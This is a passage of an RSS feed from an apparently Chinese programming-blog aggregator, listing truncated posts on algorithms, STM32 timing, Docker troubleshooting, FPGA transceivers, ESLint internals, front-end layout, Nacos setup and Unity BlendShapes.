      <description>【问题描述】[中等] 【解答思路】 1. 深度优先搜索 使用深度优先搜索实现标记操作。在下面的代码中，我们把标记过的字母 O 修改为字母 A。&#xA;复杂度&#xA;class Solution { int[] dx = {1, -1, 0, 0}; int[] dy = {0, 0, 1, -1}; public void solve(char[][] board) { int n = board.length; if (n == 0) { return; } int m = board[0].length; Queue&amp;lt;int[]&amp;gt; queue = new LinkedList&amp;lt;int[]&amp;gt;(); for (int i = 0; i &amp;lt; n; i++) { if (board[i][0] == &#39;O&#39;) { queue.offer(new int[]{i, 0}); } if (board[i][m - 1] == &#39;O&#39;) { queue.</description>
    </item>
    <item>
      <title>STM32 时延函数之阻塞和非阻塞的实现讨论</title>
      <link>https://bchobby.github.io/posts/465b5903dc9492635c71d06fc258bf0d/</link>
      <pubDate>Tue, 11 Aug 2020 20:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/465b5903dc9492635c71d06fc258bf0d/</guid>
      <description>一 、常使用的几种延时方式 1 自带的hal_delay 函数 毫秒级延迟 void HAL_Delay(__IO uint32_t Delay) { uint32_t tickstart = HAL_GetTick(); //获取tick值（毫秒） uint32_t wait = Delay; /* Add a period to guarantee minimum wait */ if (wait &amp;lt; HAL_MAX_DELAY) { wait++;//传参，延时的时间 } while((HAL_GetTick() - tickstart) &amp;lt; wait) { } } 也可以配置为us延时，改变函数参数 配置方法：也可以配置为1us // HAL_RCC_GetHCLKFreq()/1000 1ms中断一次，即HAL_Delay函数延时基准为1ms // HAL_RCC_GetHCLKFreq()/100000 10us中断一次，即HAL_Delay函数延时基准为10us // HAL_RCC_GetHCLKFreq()/1000000 1us中断一次，即HAL_Delay函数延时基准为1us HAL_SYSTICK_Config(HAL_RCC_GetHCLKFreq()/1000000); // 配置并启动系统滴答定时器 2 中断延时----利用定时器计时 int main(void) { HAL_Init(); SystemClock_Config(); LED_GPIO_Init(); /* 基本定时器初始化：1ms中断一次 */ BASIC_TIMx_Init(); /* 在中断模式下启动定时器 */ HAL_TIM_Base_Start_IT(&amp;amp;htimx); while (1) { if(timer_count==1000) { timer_count=0; LED1_TOGGLE; } } } void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim) { timer_count++; //回调函数 } 3 优选方式------获取系统时钟计时，非阻塞式延时 void delay_ms(int32_t nms) { int32_t temp; SysTick-&amp;gt;LOAD = 8000*nms; SysTick-&amp;gt;VAL=0X00;//清空计数器 SysTick-&amp;gt;CTRL=0X01;//使能，减到零是无动作，采用外部时钟源 do { temp=SysTick-&amp;gt;CTRL;//读取当前倒计数值 } while((temp&amp;amp;0x01)&amp;amp;&amp;amp;(!</description>
    </item>
    <item>
      <title>网页设计大作业,仿制品优购页面</title>
      <link>https://bchobby.github.io/posts/970792b965b090a613622c0acd4745ad/</link>
      <pubDate>Tue, 11 Aug 2020 11:11:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/970792b965b090a613622c0acd4745ad/</guid>
      <description>按照pink老师讲课的内容,手打的品优购网页 品优购网页设计最终效果已经部署到服务器,点击浏览 代码概述:&#xA;目录解释csscss样式存放目录font特殊字体存放目录images网页图片存放目录upload经常被修改的图片上传目录jsjavascript存放目录index.html主页list.html购买页register.html注册页 index.html &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;品优购&amp;lt;/title&amp;gt; &amp;lt;meta name=&#34;description&#34; content=&#34;品优购-专业的综合网上购物商城，销售家电，数码通讯 电脑，服装服饰&#34;&amp;gt; &amp;lt;meta name=&#34;keywords&#34; content=&#34;哈哈哈哈哈，迪迦，奥特曼&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/base.css&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/common.css&#34;&amp;gt; &amp;lt;link rel=&#34;shortcut icon&#34; href=&#34;favicon.ico&#34;/&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/index.css&#34;&amp;gt; &amp;lt;script src=&#34;js/animate.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;!--此句要放到下句上面--&amp;gt; &amp;lt;script src=&#34;js/index.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!--快捷导航模块start--&amp;gt; &amp;lt;section class=&#34;shortcut&#34;&amp;gt; &amp;lt;div class=&#34;w&#34;&amp;gt; &amp;lt;div class=&#34;fl&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;品优购欢迎您&amp;amp;nbsp;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt; &amp;lt;a href=&#34;#&#34;&amp;gt;请登录&amp;amp;nbsp;&amp;lt;/a&amp;gt;&amp;lt;a href=&#34;register.html&#34; class=&#34;style_red&#34;&amp;gt;免费注册&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;fr&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;我的订单&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;arrow-icon&#34;&amp;gt;我的品优购&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;品优购会员&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;企业采购&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li class=&#34;</description>
    </item>
    <item>
      <title>Docker 容器常见故障排查及处理</title>
      <link>https://bchobby.github.io/posts/5991969075f4842a9ca0862c0fca85f7/</link>
      <pubDate>Tue, 11 Aug 2020 09:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5991969075f4842a9ca0862c0fca85f7/</guid>
      <description>Docker 容器常见故障排查及处理 本文来源于公司论坛发表的帖子&#xA;Docker是一种相对使用较简单的容器，我们可以通过以下几种方式获取信息：&#xA;1、通过docker run执行命令，或许返回信息&#xA;2、通过docker logs 去获取日志，做有针对性的筛选&#xA;3、通过systemctl status docker查看docker服务状态&#xA;4、通过journalctl -u docker.service 查看日志&#xA;以下是整理的docker容器类问题故障，分为9个类&#xA;一、启动类故障 1、docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?&#xA;原因：Docker未正常启动&#xA;解决方式：&#xA;systemctl start docker&#xA;2、can’t create unix socket /var/run/docker.sock: is a directory&#xA;原因：docker.sock不能创建&#xA;解决方式：&#xA;rm -rf /var/run/docker.sock&#xA;然后重新启动docker&#xA;3、Job for docker.service failed. Failed to start Docker Application&#xA;原因：Selinux引起&#xA;解决方式：&#xA;/etc/sysconfig/selinux , 把 selinux 值改为disabled&#xA;重启docker解决&#xA;4、docker: Error response from daemon:</description>
    </item>
    <item>
      <title>Madagascar-3.0安装</title>
      <link>https://bchobby.github.io/posts/599914e736341cfeba06447a7a5e7b59/</link>
      <pubDate>Tue, 11 Aug 2020 07:20:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/599914e736341cfeba06447a7a5e7b59/</guid>
      <description>1.Madagascar不支持Ubuntu20，就到https://ubuntu.com/download/alternative-downloads&#xA;下载Ubuntu 18&#xA;2.到http://www.ahay.org/wiki/Tutorial下载Madagascar-3.0，之后解压出来&#xA;安装方法参考&#xA;http://blog.sciencenet.cn/home.php?mod=space&amp;amp;uid=898810&amp;amp;do=blog&amp;amp;id=674969&#xA;需要启动虚拟化，具体方法参考下面&#xA;https://blog.csdn.net/jinchunzhao123/article/details/81226859&#xA;https://bbs.360.cn/forum.php?mod=viewthread&amp;amp;tid=2181954&amp;amp;extra=page%3D1&amp;amp;page=1&amp;amp;archive_src=bbs_safe&#xA;先设置共享（主机和虚拟机文件共享）&#xA;右键点设置出来下面&#xA;点总是启用，再点添加选中解压出来的Madagascar-3.0&#xA;共享完的文件在other location/mnt/hgfs&#xA;（可选）没有VMware Tools共享不了，安装VMware Tools ,教程为https://www.cnblogs.com/huangjianxin/p/6343881.html&#xA;配置环境，到http://www.ahay.org/wiki/Advanced_Installation#Ubuntu找到下面命令&#xA;点或者快捷键Ctrl+Alt+T调出terminal，复杂输入上面的代码（逐行复制）。&#xA;安装时需要输入Y，安装完环境界面是这样&#xA;可以先把Madagascar-3.0的文件复制到desktop，找到文件右键点Open in Terminal&#xA;再在terminal中输入 ./configure --prefix=/&#xA;这就配置完了&#xA;接着输入scons; scons install&#xA;如果出现下面的&#xA;再输入sudo scons install&#xA;到Home处快捷键输入Ctrl+H显示隐藏文件，找到.bashrc&#xA;在里面输入下面的&#xA;其实就是输入一个调用的路径，我是放在桌面的，在末尾输入如下&#xA;之后打开终端输入&#xA;没有其他问题出现是这样的&#xA;最后是测试是不是成功了，在终端输入下面的，如：sfin&#xA;如果出来下图就是安装成功了</description>
    </item>
    <item>
      <title>前端架构之eslint（二）之源码解析</title>
      <link>https://bchobby.github.io/posts/b55a84138088b28eca1b99be20b14d77/</link>
      <pubDate>Tue, 11 Aug 2020 00:02:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b55a84138088b28eca1b99be20b14d77/</guid>
      <description>上节对eslint的配置进行了详细的解释，这节再来对源码进行分析一波。&#xA;执行eslint的流程图如下：&#xA;eslint的入口：eslint/bin/eslint.js#main eslint.js是命令的执行文件，用来启动eslint，并向cli传递命令行参数。&#xA;... await require(&#34;../lib/cli&#34;).execute( process.argv, // 命令行eslint后面的参数 process.argv.includes(&#34;--stdin&#34;) ? await readStdin() : null // eslint命令行是否有--stdin，执行process.stdin读取需lint的内容 ); eslint/lib/cli.js#execute cli.js#execute是eslint的核心，它解析eslint执行命令，调用有效的操作。它还扮演着读取文件、遍历目录，输入和输出的角色。&#xA;function execute(args, text) { let options; try { options = CLIOptions.parse(args); // 解析eslint options } catch (error) { ... } ... /** *&#x9;translateOptions(options) // 将cli options转换为cli-engine options * *&#x9;engine是Eslint的实例，可以用eslint的API。 * **/ const engine = new ESLint(translateOptions(options)); let results; /** * eslint --stdin的优先级高 **/ if (useStdin) { results = await engine.</description>
    </item>
    <item>
      <title>高速接口----7系列收发器GTP(1)</title>
      <link>https://bchobby.github.io/posts/e13e479cff3b8860c5eaf6191206ea51/</link>
      <pubDate>Mon, 10 Aug 2020 19:26:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e13e479cff3b8860c5eaf6191206ea51/</guid>
      <description>1. 前言 最近在做以太网相关的东西，其中一个其中想要使用MAC通过光电转换模块来完成数据的收发。在Artix7系列FPGA当中，有GTP这个高速收发器。我手上的板子上的核心芯片是ZYNQ7015,这是一个带一个QUAD的ZYNQ FPGA，上面的收发器是GTP。对于其他稍微高端一点的ZYNQ上带有收发器应该是GTH/GTX的。但是，只是实现一个千兆网，使用GTP应该是足够了。因此需要了解收发器的使用。&#xA;本篇博客当中，我只介绍我在初次使用7 Serie FPGA Transceiver Wizard所进行的一些自认为比较重要的东西。&#xA;2. UG482 2.1 整体结构 因为手上的ZYNQ芯片带有的收发器是GTP，因此需要参考的手册是ug482,对于GTH/GTX则需要参考ug476。其实GTP和GTX/GTH还是比较相似的，GTP内部的结构和GTX/GTH稍有不同。&#xA;上面的图是手册上给出的100T内部的收发器分布图，可以看到对于Artix7系列FPGA的收发器，其是分布在上下两侧的，这与GTX/GTH单列放置是一个区别。&#xA;下图是每个QUAD内部的结构：一个QUAD中包含4个channel和一个COMMON。GTPE2_COMMON 中包含两个PLL(PLL0/PLL1),使用到收发器时，COMMON原语必须被例化。每个CHANNEL中都包含一个接收器和一个发送器。&#xA;下图是收发器每个CHANNEL中的结构：TX/RX都包含两部分，其中PCS是物理编码层，PMA是物理媒介层。&#xA;2.2参考时钟 GTP中的参考时钟选项和GTX/GTH中略有不同，在GTH/GTX中，支持南北方向的时钟路由，在GTP当中支持东西方向的时钟路由。&#xA;一个QUAD中包含4个GTPE2_CHANNEL原语，一个GTPE2_COMMON 原语，两个外部参考时钟引脚以及专用参考时钟的路由。&#xA;在A7系列FPGA当中，位于上半部分的收发器可以进行时钟的共享，位于下半部分的收发器可以进行时钟的共享。&#xA;在下图中，COMMON原语的时钟输入可以有以下几种：两个参考时钟，来自另一个QUAD的参考时钟&#xA;2.2.1COMMON参考时钟 GTP COMMON中时钟的选择：common中的每一个PLL时钟来源都包含7个分别为：一个用于测试的时钟，两个外部参考时钟，两个东向参考时钟，两个西向参考时钟，通过PLL0/1REFCLKSEL 来选择具体使用到的时钟参考源。&#xA;2.2.2 CHANNEL 参考时钟 GTP CHANNEL的端口具体可以分为，用于选择RX/TX的参考时钟和数据的参考时钟，参考时钟可以来自PLL，也可以来自PLL的参考时钟。&#xA;下图是包含了各种情况的时钟路由方式&#xA;值得说明的是，这些端口和选项，在GTP的向导这个IP中，都不用可以去记，在向导里面只需设置就可以，IP会自动生成这些逻辑。&#xA;3 发送器TX 3.1 TX interface &amp;amp;esmp;TX interface 简单来说，就是位于FPGA逻辑侧和收发器发送这一侧的端口。从这里开始收发器会将FPGA中想要发送的数据进行发送。这里是收发器发送数据的第一步。TX Interface 是与用于逻辑联系最紧密的一个模块，该模块决定了FPGA侧数据的位宽和收发器传输的线速率，并且该模块还与数据的编码有关。&#xA;3.1.1 数据位宽 GTP包含2字节的内部数据通道，TX 部分的Interface 的数据位宽通过TX_DATA_WIDTH 属性来配置。当8B/10B编码被使能的时候，TX_DATA_WIDTH必须被配置为20bit/bit。当不使能8B/10B编码的时候，TX_DATA_WIDTH 可以被配置为16，20，32，40。&#xA;当不使用8B/10B编码的时候，必须使用TXCHARDISPMODE &amp;amp; TXCHARDISPVAL 来对位宽进行扩充，扩充位宽的方法是每1byte用户数据需要1bit 的TXCHARDISPMODE和 1bit 的TXCHARDISPVAL来对数据进行扩充。如图中的Table 3-2 所示。&#xA;3.1.2 用户时钟 FPGA TX接口包含两个并行时钟：TXUSRCLK和TXUSRCLK2。TXUSRCLK是GTP内部PCS部分的内部时钟，TXUSRCLK所需要的速率取决于GTPE2_CHANNEL原语内部的数据路径宽度和TX 的线速率。&#xA;TXUSRCLK2是所有进入到GTP TX接口的信号的主要的同步时钟。进入到TXUSRCLK的大多数数据在TXUSRCLK的上升沿进行采样。TXUSRCLK2和TXUSRCLK具有固定的频率关系。根据TX_DATA_WIDTH的值来确定：&#xA;从上面的图中可以看出，TXUSRCLK2的时钟频率在不同的模式下可以为TXUSRCLK或者TXUSRCLK的一半,TXUSRCLK 和TXUSRCLK2一般都是由TX接口上的TXOUTCLK来生成的。下面的两幅图中，可以看到TXUSRCLK和TXUSRCLK在不同模式下的生成的示意图。</description>
    </item>
    <item>
      <title>Vivado学习笔记四</title>
      <link>https://bchobby.github.io/posts/bda60dc3f8183c9c760c7918b1c60de2/</link>
      <pubDate>Mon, 10 Aug 2020 15:54:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bda60dc3f8183c9c760c7918b1c60de2/</guid>
      <description>Vivado程序固化 初玩FPGA开发板，会遇到这种情况，事先写好的程序编译成功后下载到板子里，随着掉电之后程序也就随之消失，再次上电又要重新编译下载程序。所以学会固化程序十分重要！&#xA;目的简介：将FPGA的配置文件（固化用的配置文件是二进制文件，仅bin文件）烧写到板载Flash中，实现上电自启动，完成程序固化&#xA;过程步骤：&#xA;1）在Vivado软件里找到Settings设置选项，进入，点击Bitstream选项，将 bin_file 勾上，点击 OK&#xA;2）点击 Generate Bitstream （Run Synthesis—Run implementation— Genereate Bitstream），生成 bit 文件和 bin 文件&#xA;3）点击 open hardware manager，连接板子&#xA;4）在Hardware面板中右击FPGA器件，选择Add Configuration Memery Device&#xA;5）在弹出的添加配置存储器的界面中，找到板载的Flash存储器型号，点击OK，完成添加&#xA;在弹出的添加配置存储器的界面中，找到板载的Flash存储器型号，点击OK，完成添加。（不知道型号可以先任意选择，软件会报错，可以在错误日志中找到正确的型号）&#xA;6）添加完成后，Vivado会提示添加完成，是否立即配置存储器。点击OK，进入配置存储器的界面，开始将二进制bin文件烧写到外部配置flash存储器中&#xA;如果配置存储器的界面突然找不到，可以右击flash存储器，点击Program Configuration Memory Device，会出现存储器的配置界面&#xA;7）找到二进制bin文件，选中，进行代码烧写, 实现上电自启动，完成程序固化&#xA;二进制文件路径为：project_name\project_name.runs\impl_1\xxx.bin&#xA;或project_name \project_name.runs\impl_2\xxx.bin&#xA;点击OK，烧写二进制文件&#xA;这样FPGA硬件程序就固化到外部配置存储器中了，下次上电就可以通过QSPI自启动。需要注意的是板载的配置跳线帽需要设置到QSPI模式</description>
    </item>
    <item>
      <title>按钮悬停效果(Button Hover Effects)</title>
      <link>https://bchobby.github.io/posts/aea3303e40dbfe7e7e08b346fd595ea4/</link>
      <pubDate>Mon, 10 Aug 2020 11:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aea3303e40dbfe7e7e08b346fd595ea4/</guid>
      <description>按钮悬停效果Button Hover Effects 示例HTMLCSSJS 更多有趣示例 尽在知屋安砖社区&#xA;示例 HTML &amp;lt;a href=&#34;&#34; class=&#34;button&#34;&amp;gt;Button&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;&#34; class=&#34;button reverse dark&#34;&amp;gt;Reverse&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;&#34; class=&#34;button fast white&#34;&amp;gt;Fast&amp;lt;/a&amp;gt; &amp;lt;!-- dribbble --&amp;gt; &amp;lt;a class=&#34;dribbble&#34; href=&#34;https://dribbble.com/shots/7441241-Button-Hover-Effects&#34; target=&#34;_blank&#34;&amp;gt;&amp;lt;img src=&#34;https://cdn.dribbble.com/assets/dribbble-ball-mark-2bd45f09c2fb58dbbfb44766d5d1d07c5a12972d602ef8b32204d28fa3dda554.svg&#34; alt=&#34;&#34;&amp;gt;&amp;lt;/a&amp;gt; CSS .button { &amp;amp;.dark { --background: #2F3545; --shadow: 0 2px 8px -1px #{rgba(#151924, .32)}; --shadow-hover: 0 4px 20px -2px #{rgba(#151924, .5)}; } &amp;amp;.white { --background: #fff; --text: #275efe; --shadow: 0 2px 8px -1px #{rgba(#121621, .04)}; --shadow-hover: 0 4px 20px -2px #{rgba(#121621, .</description>
    </item>
    <item>
      <title>Pycharm建立代码结构模板的方法记录</title>
      <link>https://bchobby.github.io/posts/2eb89c809e63a4588c5890dbdeeb492d/</link>
      <pubDate>Mon, 10 Aug 2020 09:27:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2eb89c809e63a4588c5890dbdeeb492d/</guid>
      <description>Python建立代码模板的方法记录&#xA;Pycharm建立代码结构模板的方法记录 1.首先需要将建立好的模板复制&#xA;2.在pycharm中选择File-Settings-Live Tempaltes&#xA;3. 将代码粘贴进Template text文本框中&#xA;4. 如果想让光标定位到所需填写内容的部分，在Template text对应部分添加 内 容 内容 内容即可。&#xA;5.最后点击Change选择你所建立结构的语言即可&#xA;6.最后在代码插入框输入你所建立的框架的简写，敲击回车即可。</description>
    </item>
    <item>
      <title>微服务-配置中心环境准备-nacos安装</title>
      <link>https://bchobby.github.io/posts/96a24b1d8f621cbd0ae006144400754b/</link>
      <pubDate>Sun, 09 Aug 2020 23:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96a24b1d8f621cbd0ae006144400754b/</guid>
      <description>一、前言： nacos 作为阿里微服务框架中的一员，扮演着配置中心的角色，本篇文章，主要是介绍在docker环境下安装ancos,为后续的微服务框架做准备。&#xA;二、nacos安装： 前置条件：VMware虚拟机，docker环境：&#xA;下载镜像：doker pull nacos/naocs-server&#xA;启动容器：&#xA;docker run -d --name nacos-server-8848 -p 8848:8848 -e MODE=standalone -e PREFER_HOST_MODE=hostname nacos/nacos-server&#xA;三、打开nacos后台页面： http://192.168.213.102:8848/nacos 用户、密码默认nacos&#xA;查看服务详情：</description>
    </item>
    <item>
      <title>前端常用面试算法题--数组去重</title>
      <link>https://bchobby.github.io/posts/360de294769ba61a7625c5a1654fe64a/</link>
      <pubDate>Sun, 09 Aug 2020 22:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/360de294769ba61a7625c5a1654fe64a/</guid>
      <description>数组去重在我们的前端的面试过程中经过会遇到，有一些人可能会想到一两种，但是&#xA;数据去重的算法真的太多了，下面我们一起来看一下吧。&#xA;这个是我总结的几种方法，如果大家有不一样的方法，欢迎讨论交流。&#xA;1.利用Set去重 function uniqueArray(arr) { const newArray = new Array(...new Set(arr)); return newArray; } let arr = [1, 2, 2, 3,4, 5, 2, 3, 8, 9, 10, 8]; const newArray = uniqueArray(arr); console.log(newArray); //[1, 2, 3, 4, 5, 8, 9, 10] 2.利用Map去重 function uniqueArray(arr) { let map = new Map(); const newArray = arr.filter((item)=&amp;gt;{ return !map.has(item) &amp;amp;&amp;amp; map.set(item, 0); }) return newArray; } let arr = [1, 2, 2, 3,4, 5, 2, 3, 8, 9, 10, 8]; const newArray = uniqueArray(arr); console.</description>
    </item>
    <item>
      <title>移动端的几种适配方案及rem dpr  px  font-size之间转换理解</title>
      <link>https://bchobby.github.io/posts/462e4ee4717aba4e2a5d217f0a836704/</link>
      <pubDate>Sun, 09 Aug 2020 21:55:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/462e4ee4717aba4e2a5d217f0a836704/</guid>
      <description>前端开发中，需要在各种不同屏幕尺寸大小的设备上运行页面，所以就需要进行移动端适配&#xA;一般有一下几种方法：&#xA;（）媒体查询media：代码冗余&#xA;（）百分比布局：图片之类的会乱&#xA;（）弹性布局flex:高度固定，宽度自适应，天猫用的这玩意&#xA;（）rem+viewport：这个计算比较复杂，淘宝用的就是这玩意&#xA;rem是什么？ 移动端布局用的最多的就是rem啦，rem就是相对元素根节点的字体大小的单位，其实就是一个相对单位，或者一个比例&#xA;相对的就是这个font-size，也就是整个html设置的font-size&#xA;比如现在的浏览器默认的font-size=16px,所以1rem=1*16px;这就是rem和font-size之间的转化，一般为了方便也会将font-size设置成10px，这样正数乘除比较方便&#xA;既然移动端用rem做比较好，而rem 和font-size是有比例关系的，所以计算好font-size就很重要&#xA;viewport是什么 viewport:用户的可视区域&#xA;一般写移动端之前都会在head里面加入meta标签，如下&#xA;&amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1,maximum-scale=1,minimum-scale=1, user-scalable=no&#34;&amp;gt; 宽度是设备宽度，缩放比例默认是1，不允许用户缩放&#xA;如何设置font-size？两种方法： 1. rem计算后，媒体查询设置font-size 一般前端都会拿到UI给的一个设计稿，现在好像设计稿的尺寸横向分辨率都是640的，但是如果移动端的设备横向分辨率是320的，肯定是要转换的&#xA;不同手机的分辨率是不同的，所以需要根据设备的分辨率来计算font-size&#xA;举个栗子：640px font-size=20px 那么320px font-size就应该是对应的一半，因为同比缩小一半也就是font-size=10px&#xA;这样的话可以通过媒体查询进行设置不同分辨率的对应font-size&#xA;@media screen and (min-device-width: 320px)and (-webkit-min-device-pixel-ratio: 2) { html{&amp;lt;br&amp;gt;　font-size:10px;&amp;lt;br&amp;gt;　} } @media only screen and (min-device-width: 375px)and (-webkit-min-device-pixel-ratio: 2) { html{&amp;lt;br&amp;gt;　font-size:12px;&amp;lt;br&amp;gt;　} } @media only screen and (min-device-width: 375px)and (-webkit-min-device-pixel-ratio: 3) { html{&amp;lt;br&amp;gt;　font-size:16px;&amp;lt;br&amp;gt;　} } @media only screen and (min-device-width:412px) and (-webkit-min-device-pixel-ratio: 3) { html{&amp;lt;br&amp;gt;　font-size:20px;&amp;lt;br&amp;gt;　} } 2.</description>
    </item>
    <item>
      <title>go语言执行单个测试函数提示未定义的问题</title>
      <link>https://bchobby.github.io/posts/e9c6d37dc0355c232c22db88a2df533a/</link>
      <pubDate>Sun, 09 Aug 2020 15:13:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9c6d37dc0355c232c22db88a2df533a/</guid>
      <description>今天在写测试函数的时候的时候单独执行了一个测试函数 编译器提示某个函数未定义，但是这个函数确实是已经定义了&#xA;这是go语言在测试函数过程中存在的不足的一点，执行gotest命令 会对上述源码文件生成一个虚拟包，但是被测试函数是不属于这个包中的函数 所以需要把该包也一同写在命令行后面&#xA;执行成功 当有多个包引用的时候 就需要写多个包</description>
    </item>
    <item>
      <title>C&#43;&#43;语言对有理数的封装Rational</title>
      <link>https://bchobby.github.io/posts/eaaaa421ba7e444966f14585c8f2a17e/</link>
      <pubDate>Sun, 09 Aug 2020 00:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaaaa421ba7e444966f14585c8f2a17e/</guid>
      <description>本类也可以采用模板化，将构造函数进行模板处理&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;cmath&amp;gt; //包含abs函数取绝对值 using namespace std; class Rational { public: template &amp;lt;class T1,class T2&amp;gt; Rational(T1 numerztor, T2 denominator = 1.0);//含两个参数的构造函数，设置为模板函数，包含（int，int）（double，double）（int，double）（double，int）简化代码 template &amp;lt;class T&amp;gt;//含有一个参数的构造函数 ，设置为模板函数，包含（int）（double）简化代码 Rational(T); Rational();//空构造函数 void Simplify();//化简 friend int LCM(int, int);//求最小公倍数，方便通分，计算 friend const Rational operator+(const Rational R1,const Rational R2);//重载+，设置为常友元函数，参量均用const修饰 friend const Rational operator-(const Rational R1, const Rational R2); friend const Rational operator*(const Rational R1, const Rational R2); friend int GCD(int, int);//求最大公约数，方便化简 friend istream&amp;amp; operator&amp;gt;&amp;gt;(istream &amp;amp;in, Rational&amp;amp;R1);//重载输入符号函数，设置为友元 friend ostream&amp;amp; operator&amp;lt;&amp;lt;(ostream &amp;amp;out,Rational&amp;amp;R1);//重载输出符号函数，设置为友元 friend const Rational operator/(const Rational R1, const Rational R2); template&amp;lt;class T&amp;gt; Rational const operator=(T const);//重载=，类成员函数，设置为常函数，右参数可以为Rational，int，double，简化代码 Rational operator++();//重载前置++, Rational operator++(int);//重载后置++ Rational operator!</description>
    </item>
    <item>
      <title>几条写的比较好的</title>
      <link>https://bchobby.github.io/posts/e96266ee3f3250793352921153201f4e/</link>
      <pubDate>Sat, 08 Aug 2020 17:55:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e96266ee3f3250793352921153201f4e/</guid>
      <description>BMC介绍&#xA;https://blog.csdn.net/weixin_42306122/article/details/95642613&#xA;SPI,IIC和SMbus的应用优缺点分析 https://wenku.baidu.com/view/d505c330a1c7aa00b42acb7f.html&#xA;linux top命令中各cpu占用率含义及案例分析 https://blog.csdn.net/ydyang1126/article/details/72820349&#xA;VCC AVCC VDD AVDD区别 https://blog.csdn.net/whereismatrix/article/details/80510466&#xA;电容电阻失效模型&#xA;https://wenku.baidu.com/view/53b751ae0a4c2e3f5727a5e9856a561253d32110.html&#xA;https://www.eefocus.com/bios_Wei/blog/09-03/167516_2cc85.html&#xA;http://blog.sina.com.cn/s/blog_697e8abb0100m5mf.html</description>
    </item>
    <item>
      <title>Unity项目捏脸解决方案BlendShape</title>
      <link>https://bchobby.github.io/posts/9b2a9683e4410be17a6ad4904d6a69d5/</link>
      <pubDate>Fri, 07 Aug 2020 23:12:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b2a9683e4410be17a6ad4904d6a69d5/</guid>
      <description>Unity项目捏脸解决方案BlendShapes 引子BlendShapes具体使用代码 参考链接 引子 最近公司在开发一个捏脸的SDK，使用的核心功能就是使用Unity的SkinnedMeshRenderer上的BlendShapes来实现的。这个功能在Maya和3ds Max中都可以找到。&#xA;BlendShapes BlendShapes是一种动画制作方式，与骨骼动画相比，它主要应用在很小的局部，比如角色的面部表情。&#xA;骨骼只适合控制整体的动作，但太局部的动作使用骨骼制作会非常繁琐，同时太多的骨骼对性能也有影响。&#xA;BlendShapes的原理很简单，就是在相邻两个网格间做插值运算，从一上形状融合到另一个形状；或者说是单个网格变形以实现许多预定义形状和任何数量之间组合的技术，在Maya/3ds Max中我们称它为变形目标，例如单个网格是默认形状的基本形状（例如无表情的面），并且基本形状的其他形状用于混合/变形，是不同的表达（笑、皱眉、闭合眼皮），这些被统称为混合形状或变形目标。所以美术只要制作若干个形状的模型即可，比摆骨骼要方便很多，特别是对于面部这种很局部的动作来说。&#xA;模型在导入时，Import BlendShapes选项默认是选中的。&#xA;具体使用 要在Maya或者3ds Max里面制作一个含有BlendShapes的形变动画Avator。把Avator导入到Unity中。导入的模型上面有组件SkinnedMeshRenderer，面板上有BlendShapes参数，它的下面有一连串的数值可以手动或编码设置，来实现捏脸效果。 代码 Unity提供的一些相关接口（组件SkinnedMeshRenderer中）：&#xA;void SetBlendShapeWeight(int index, float value)：用于直接设置BlendShape的值，使用index按照面板上的自上而下顺序下标来索引设置的“部位”。float GetBlendShapeWeight(int index)：根据index获取对应的BlendShape值。sharedMesh.blendShapeCount：组建中BlendShape的数量。sharedMesh.GetBlendShapeName(int shapeIndex)：根据index获取对应的BlendShape名称字符串。sharedMesh.GetBlendShapeIndex(string blendShapeName)：根据名称获取索引的下标（第几个）。 这里我只用了了几个，还有一些并没有使用测试过。&#xA;void AddBlendShapeFrame(string shapeName, float frameWeight, Vector3[] deltaVertices, Vector3[] deltaNormals, Vector3[] deltaTangents)：添加一个新的BlendShape框架。int GetBlendShapeFrameCount(int shapeIndex)：返回BlendShape的帧数。void GetBlendShapeFrameVertices(int shapeIndex, int frameIndex, Vector3[] deltaVertices, Vector3[] deltaNormals, Vector3[] deltaTangents)：检索BlendShape框架的deltaVertices，deltaNormals和deltaTangents。float GetBlendShapeFrameWeight(int shapeIndex, int 